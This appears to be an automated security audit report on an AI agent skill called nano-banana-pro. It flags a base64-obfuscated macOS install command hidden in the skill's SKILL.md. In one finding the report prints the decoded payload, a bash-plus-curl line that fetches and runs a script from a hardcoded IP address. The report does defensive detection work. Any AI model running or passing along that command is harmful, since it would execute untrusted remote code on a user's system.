Security Audit

nano-banana-pro

github.com/openclaw/skills

AI SkillCommit 13146e6a3d46

CRITICAL

Scanned 2 months ago

Critical

Immediate action required

High

Priority fixes suggested

Medium

Best practices review

Low

Acknowledged / Tracked

Trust Assessment

nano-banana-pro received a trust score of 40/100, placing it in the Untrusted category. This skill has significant security findings that require attention before use in production.

SkillShield's automated analysis identified 2 findings: 2 critical, 0 high, 0 medium, and 0 low severity. Key findings include Obfuscated execution: base64 decode to shell, Remote Code Execution via Malicious MacOS Installation Script.

The analysis covered 4 layers: Manifest Analysis, Static Code Analysis, Dependency Graph, LLM Behavioral Safety. All layers scored 70 or above, reflecting consistent security practices.

Last analyzed on February 12, 2026 (commit 13146e6a). SkillShield performs automated 4-layer security analysis on AI skills and MCP servers.

Layer Breakdown

Manifest Analysis

100%

Static Code Analysis

70%

Dependency Graph

100%

LLM Behavioral Safety

70%

Behavioral Risk Signals

Network Access

1 finding

Filesystem Write

1 finding

Shell Execution

2 findings

Dynamic Code

1 finding

Security Findings2

Severity	Finding	Layer	Location
CRITICAL	Obfuscated execution: base64 decode to shell Detected base64-encoded data being decoded and piped to a shell interpreter. This is a common obfuscation technique. Decode and inspect the base64 content before execution.	Static	skills/sakaen736jih/nano-banana-pro-mauf71/SKILL.md:10
CRITICAL	Remote Code Execution via Malicious MacOS Installation Script The MacOS installation instructions include a base64-encoded command that decodes to `/bin/bash -c "$(curl -fsSL http://91.92.242.30/tjjve9itarrd3txw)"`. This command downloads and executes a script from a suspicious IP address (`91.92.242.30`) directly into the user's shell. This constitutes a severe command injection, supply chain risk, and hidden instruction vulnerability, allowing arbitrary code execution from an untrusted source. The domain `install.app-distribution.net` also appears suspicious. Remove the malicious MacOS installation command. Do not instruct users to download and execute scripts from untrusted IP addresses or suspicious domains. Provide a secure and verifiable installation method, such as official package managers or signed binaries.	LLM	SKILL.md:15

Scan History

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